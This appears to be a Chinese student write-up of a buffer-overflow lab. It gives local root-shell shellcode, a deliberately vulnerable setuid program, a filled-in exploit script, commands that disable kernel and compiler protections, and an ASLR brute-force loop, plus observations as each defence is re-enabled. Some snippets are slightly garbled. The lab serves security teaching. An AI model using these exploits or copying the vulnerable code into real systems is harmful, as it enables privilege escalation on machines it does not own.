目录
1.0 前言
2.0实验室任务
2.1关闭对策
2.2 task1 运行shell代码
2.3 易受攻击程序
2.4 task2 利用漏洞
2.5 task3 击败dash的对策
2.6 task4 击败地址随机化
2.7 task5 打开堆栈保护
2.8 task6 打开不可执行堆栈保护
本实验的学习目标是让学生通过将他们从课堂上学到的关于缓冲区溢出漏洞的知识付诸实践,获得关于该漏洞的第一手经验。缓冲区溢出被定义为程序试图将数据写入预先分配的固定长度缓冲区边界之外的情况。恶意用户可以利用此漏洞来改变程序的流量控制,从而导致恶意代码的执行。
在本实验中,学生将被给予一个具有缓冲区溢出漏洞的程序;他们的任务是开发一个利用漏洞的方案,并最终获得root权限。除了攻击之外,学生将被引导浏览操作系统中已经实现的几种保护方案,以对抗缓冲区溢出攻击。学生需要评估这些方案是否有效,并解释原因。本实验涵盖以下主题:
您可以使用我们预先构建的Ubuntu虚拟机来执行实验任务。Ubuntu和其他Linux发行版已经实现了几种安全机制,使缓冲区溢出攻击变得困难。为了简化我们的攻击,我们需要先禁用它们。稍后,我们将逐一启用它们,看看我们的攻击是否仍能成功。
地址空间随机化。Ubuntu和其他几个基于Linux的系统使用地址空间随机化来随机化堆和栈的起始地址。这使得猜测确切的地址变得困难;猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验中,我们使用以下命令禁用此功能:
$ sudo sysctl -w kernel.randomize_va_space=0
堆栈保护方案。GCC编译器实现了一种称为StackGuard的安全机制,以防止缓冲区溢出。有了这种保护,缓冲区溢出攻击就不起作用了。我们可以在编译期间使用-fno-stack-protector选项禁用这种保护。例如,要编译一个禁用StackGuard的程序example.c,我们可以执行以下操作:
$ gcc -fno-stack-protector example.c
不可执行堆栈。Ubuntu曾经允许可执行堆栈,但现在这种情况已经改变:程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,即,。他们需要在程序头中标记一个字段。内核或动态链接器使用这个标记来决定是使这个运行程序的堆栈可执行还是不可执行。这个标记是由gcc的最新版本自动完成的,默认情况下,堆栈被设置为不可执行的。要更改这一点,请在编译程序时使用以下选项:
对于可执行堆栈:
$ gcc -z execstack -o test test.c对于不可执行堆栈:
$ gcc -z noexecstack -o test test.
配置/bin/sh(仅限Ubuntu 16.04 VM)。在Ubuntu 12.04和Ubuntu 16.04虚拟机中,/bin/sh符号链接指向/bin/dash外壳。然而,这两个虚拟机中的dash程序有一个重要的区别。Ubuntu 16.04中的dash shell有一个防止自己在Set-UID进程中执行的对策。基本上,如果dash检测到它是在Set-UID进程中执行的,它会立即将有效用户标识更改为该进程的真实用户标识,本质上是放弃特权。Ubuntu 12.04中的dash程序没有这个行为。
由于我们的受害者程序是一个Set-UID程序,我们的攻击依赖于运行/bin/sh,所以/bin/dash中的对策使我们的攻击更加困难。因此,我们将把/bin/sh链接到另一个没有这种对策的shell(在后面的任务中,我们将展示,只要多做一点努力,/bin/dash中的对策就可以很容易地被击败)。我们已经在Ubuntu 16.04虚拟机中安装了一个名为zsh的外壳程序。我们使用以下命令将/bin/sh链接到zsh(Ubuntu 12.04中不需要这样做):
$ sudo ln -sf /bin/zsh /bin/sh
在开始攻击之前,让我们熟悉一下外壳代码。shellcode是启动shell的代码。它必须被加载到内存中,这样我们才能迫使易受攻击的程序跳到它上面。考虑以下程序:
#include
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
我们使用的shellcode只是上述程序的汇编版本。下面的程序展示了如何通过执行存储在缓冲区中的shell代码来启动shell。请编译并运行以下代码,看看是否调用了shell。你可以从网站上下载这个程序。如果您有兴趣编写自己的外壳代码,我们有一个单独的SEED实验。
/* call_shellcode.c: You can get it from the lab’s website */
/* A program that launches a shell using shellcode */
#include
#include
#include
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
使用下面的gcc命令编译上面的代码。运行程序并描述你的观察结果。请不要忘记使用execstack选项,该选项允许从堆栈中执行代码;没有这个选项,程序将失败。
$ gcc -z execstack -o call_shellcode call_shellcode.c
实验步骤:
创建lab4文件:mkdir lab4
在lab4下创建task1文件:cd lab4 、 vim task1.c
运行task1文件:(这里取名为task1.c不是老师取的call_shellcode.c这个名、换一下就好了)
gcc -z execstack -o call_shellcode task1.c
上面的shellcode调用execve()系统调用来执行/bin/sh。这个shellcode中有几个地方值得一提。首先,第三条指令将“//sh”,而不是“/sh”推入堆栈。这是因为我们这里需要一个32位的数字,/sh”只有24位。幸运的是,“//”相当于“/”,所以我们可以用双斜线符号来蒙混过关。其次,在调用execve()系统调用之前,我们需要将name[0](字符串的地址)、name(数组的地址)和NULL分别存储到%ebx、%ecx和%edx寄存器中。第5行将名称[0]存储到% ebx第8行将名称存储到% ecx第9行将%edx设置为零。还有其他方法将%edx设置为零(例如,xorl %edx,% EDX);这里使用的one (cdq)只是一个较短的指令:它将EAX寄存器(此时为0)中值的符号(位31)复制到EDX寄存器的每个位位置,基本上将%edx设置为0.第三,当我们将%al设置为11时,调用系统调用execve(),并执行“int $0x80”。
您将获得以下程序,该程序在第①行有一个缓冲区溢出漏洞。您的工作是利用此漏洞并获得根权限。
/* Vunlerable program: stack.c */
/* You can get this program from the lab’s website */
#include
#include
#include
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past.
* Suggested value: between 0 and 400 */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str); ➀
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
上述程序存在缓冲区溢出漏洞。它首先从一个名为badfile的文件中读取一个输入,然后将这个输入传递给bof()函数中的另一个缓冲区。原始输入的最大长度可以是517字节,但是bof()中的缓冲区只有BUFSIZE字节长,小于517.因为strcpy()不检查边界,所以会发生缓冲区溢出。由于该程序是一个根用户拥有的设置-UID程序,如果一个普通用户可以利用这个缓冲区溢出漏洞,用户可能能够获得一个根外壳。需要注意的是,程序从一个名为badfile的文件中获取输入。该文件由用户控制。现在,我们的目标是为badfile创建内容,这样当易受攻击的程序将内容复制到它的缓冲区时,可以产生一个根外壳。
编译。要编译上述易受攻击的程序,不要忘记使用-fno-stack-protector和“-z execstack”选项关闭堆栈和不可执行的堆栈保护。编译后,我们需要使程序成为一个根拥有的Set-UID程序。我们可以通过首先将程序的所有权更改为root(第①行),然后将权限更改为4755以启用设置-UID位(第②行)来实现这一点。应该注意的是,更改所有权必须在打开Set-UID位之前完成,因为所有权更改将导致Set-UID位被关闭。
// Note: N should be replaced by the value set by the instructor
$ gcc -DBUF_SIZE=N -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack ➀
$ sudo chmod 4755 stack ➁
为了防止学生使用过去的解决方案(或发布在互联网上的解决方案),教师可以通过要求学生使用不同的BUF/SIZE值编译服务器代码来更改BUFSIZE的值。如果没有-DBUFSIZE选项,BUFSIZE将被设置为默认值24(在程序中定义)。当这个值改变时,堆栈的布局也会改变,解决方案也会不同。
实验步骤:
创建stack文件: vim stack.c
提升权限:sudo chown root stack 、sudo chmod 4755 stack
在badfile文件放入一些内容,当文件长度小于100字节时,程序可以正常运行。当文件长度大于100 字节时,程序会崩溃。这是由于缓冲区溢出导致的。
我们为您提供了一个名为“exploit.py”的部分完成的漏洞利用代码。这段代码的目标是为badfile构造内容。在这段代码中,外壳代码是给你的。剩下的代码你需要自己完成。
#!/usr/bin/python3
import sys
shellcode= (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
"\x00"
).encode(’latin-1’)
# Fill the content with NOP’s
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
#########################################################################
ret = 0xAABBCcDD # replace 0xAABBCCDD with the correct value
offset = 0 # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder=’little’)
#########################################################################
# Write the content to badfile
with open(’badfile’, ’wb’) as f:
f.write(content)
f.close()
完成以上程序后,编译运行。这将为badfile生成内容。然后运行易受攻击的程序栈。如果您的漏洞实施正确,您应该能够获得一个根外壳:
重要提示:请先编译你的易受攻击程序。请注意,生成坏文件的程序exploit.c可以在启用默认StackGuard保护的情况下编译。这是因为我们不会在这个程序中溢出缓冲区。我们将溢出stack.c中的缓冲区,该缓冲区是在禁用StackGuard保护的情况下编译的。
$ gcc -o exploit exploit.py
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program # <---- Bingo! You’ve got a root shell!
需要注意的是,虽然你已经获得了“#”提示,但是你真正的用户id还是你自己(现在有效的用户id是root)。您可以通过键入以下内容进行检查:
# id
uid=(500) euid=0(root)
如果许多命令作为Set-UIDroot进程执行,而不仅仅是作为根进程执行,它们的行为会有所不同,因为它们认识到真正的用户id不是根。要解决这个问题,您可以运行以下程序将真实用户id转换为root。这样你会有一个真正的根进程,更强大。
void main()
{
setuid(0); system("/bin/sh");
}
实验步骤:
创建badfile文件、在bof函数处设置断点:书上的函数名是foo、实验中的函数名是bof
使用p指令打印帧指针的值和buffer的地址:(quit退出当前模式)
创建exploit.py文件:vim exploit.py
修改部分:ret = 0xbffffeb38 + 100 、offset = 36 、注:此处ret的值得看上面运行p $ebp指令后打印的地址值。
验证是否攻击成功:出现 # 说明攻击成功,进入到了root权限
我们之前已经解释过,Ubuntu 16.04中的dash shell在检测到有效UID不等于真实UID时,会丢弃特权。这可以从dash程序的更改日志中观察到。我们可以在第①行看到一个额外的检查,比较真实有效的用户/组标识。
// https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz
// main() function in main.c has following changes:
++ uid = getuid();
++ gid = getgid();
++ /*
++ * To limit bogus system(3) or popen(3) calls in setuid binaries,
++ * require -p flag to work in this situation.
++ */
++ if (!pflag && (uid != geteuid() || gid != getegid())) { ➀
++ setuid(uid);
++ setgid(gid);
++ /* PS1 might need to be changed accordingly. */
++ choose_ps1();
++ }
dash中实施的对策是可以克服的。一种方法是不在我们的shellcode中调用/bin/sh;相反,我们可以调用另一个shell程序。这种方法需要另一个shell程序,比如在系统中出现zsh。另一种方法是在调用dash程序之前将受害进程的真实用户ID更改为0。我们可以通过在shellcode中执行execve()之前调用setuid(0)来实现这一点。在本任务中,我们将使用这种方法。我们将首先改变/bin/sh符号链接,使它指向/bin/dash:
$ sudo ln -sf /bin/dash /bin/sh
为了了解dash中的对策是如何工作的,以及如何使用系统调用setuid(0)来击败它,我们编写了以下C程序。我们首先注释掉第①行,并将程序作为Set-UID程序运行(所有者应该是根用户);请描述你的观察结果。然后取消注释①,重新运行程序;请描述你的观察结果。
// dash_shell_test.c
#include
#include
#include
int main()
{
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
// setuid(0); ➀
execve("/bin/sh", argv, NULL);
return 0;
}
上述程序可以使用以下命令进行编译和设置(我们需要使其成为根拥有的Set-UID程序):
$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test
从上面的实验中,我们会看到seuid(0)有所不同。让我们在调用execve()之前,在shellcode的开头添加调用该系统调用的汇编代码。
char shellcode[] =
" \x31\xc0 " *第1行:xorl %eax,%eax *
" \x31\xdb " *第2行:xorl %ebx,%ebx *
" \xb0\xd5 " *第3行:movb $0xd5,%al *
" \xcd\x80 " *第4行:整数 $0x80 *
-下面的代码与任务2中的代码相同-
" \x31\xc0 "
" \x50 "
" \x68""sh "
" \x68""bin "
" \x89\xe3 "
" \x50 "
" \x53 "
" \x89\xe1 "
" \x99 "
" \xb0\x0b "
" \xcd\x80 "
更新后的shellcode增加了4条指令:(1)在第2行将ebx设置为0,(2)通过第1行和第3行将eax设置为0xd5 (0xd5是setuid()的系统调用号),以及(3)执行第4行中的系统调用。使用这个shellcode,当/bin/sh链接到/bin/dash时,我们可以尝试攻击脆弱的程序。使用上面的shellcode修改exploit.c或exploit.py;再次尝试来自Task 2的攻击,看看能否获得一个根shell。请描述并解释你的结果。
实验步骤:
创建一个dash_shell_test.c文件:
运行:gcc dash_shell_test.c -o dash_shell_test
提升权限:sudo chown root dash_shell_test、sudo chmod 4755 dash_shell_test
创建一个新的dash_exploit.py文件添加前四行代码:
尝试攻击:出现 # 攻击成功
在32位Linux机器上,栈只有19位的熵,这意味着栈基址可以有219 =524,288种可能性。这个数字没有那么高,可以很容易地用蛮力方法耗尽。在这项任务中,我们使用这样一种方法来击败我们的32位虚拟机上的地址随机化对策。首先,我们使用以下命令打开Ubuntu的地址随机化。我们运行任务2中开发的相同攻击.请描述并解释你的观察。
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
然后,我们使用暴力方法反复攻击易受攻击的程序,希望我们放入坏文件中的地址最终能够正确。您可以使用以下shell脚本在无限循环中运行易受攻击的程序。如果你的攻击成功,脚本就会停止;否则,它将继续运行。请耐心等待,因为这可能需要一段时间。如果需要,让它运行一夜。请描述你的观察。
#!/bin/bash
SECONDS=0
value=0
while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack
done
实验步骤:
开启地址随机化:
重复task2的攻击:没有出现#、攻击失败
创建暴力破解文件task4.py文件:
重复task2的攻击:
结果:在8秒左右攻击成功
在执行此任务之前,请记住首先关闭地址随机化,否则您将不知道哪种保护有助于实现保护。
在我们以前的任务中,我们在编译程序时禁用了GCC中的堆栈保护机制。在此任务中,您可以考虑在StackGuard存在的情况下重复任务2。为此,您应该编译不带-fno-stack-protector选项的程序。对于这个任务,您将重新编译易受攻击的程序stack.c,以使用GCC StackGuard,再次执行任务1,并报告您的观察结果。您可以报告观察到的任何错误信息。
在GCC 4 . 3 . 3及以上版本中,默认启用StackGuard。因此,您必须使用前面提到的开关禁用StackGuard。在早期版本中,默认情况下是禁用的。如果您使用旧的GCC版本,您可能不必禁用StackGuard
实验步骤:
关闭地址随机化:
重新编译stack.c文件、不禁止堆栈保护、重复task2的攻击:
结果:显示stack smashing detected 、终止程序
在执行此任务之前,请记住首先关闭地址随机化,否则您将不知道哪种保护有助于实现保护。
在我们之前的任务中,我们有意使堆栈可执行。在这个任务中,我们使用noexecstack选项重新编译易受攻击的程序,并重复任务2中的攻击.能不能弄个壳?如果没有,是什么问题?这个保护方案如何让你的攻击变得困难?你应该在你的实验报告中描述你的观察和解释。您可以使用以下说明打开不可执行堆栈保护。
应该注意的是,不可执行的堆栈只会使shellcode无法在堆栈上运行,但它不能防止缓冲区溢出攻击,因为在利用缓冲区溢出漏洞后,还有其他方法可以运行恶意代码。返回libc攻击就是一个例子。我们为那次袭击设计了一个单独的实验。如果您感兴趣,请查看我们的返回图书馆攻击实验室了解详情。
$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
如果您正在使用我们的Ubuntu 12.04/16.04虚拟机,不可执行堆栈保护是否工作取决于CPU和您的虚拟机的设置,因为这种保护取决于CPU提供的硬件功能。如果您发现不可执行堆栈保护不起作用,请查看我们链接到实验室网页的文档(“不可执行堆栈注释”),并查看文档中的说明是否有助于解决您的问题。如果没有,那么你可能需要自己去解决问题。
实验步骤:
打开地址随机化、重新编译stack.c:
重复task2的攻击: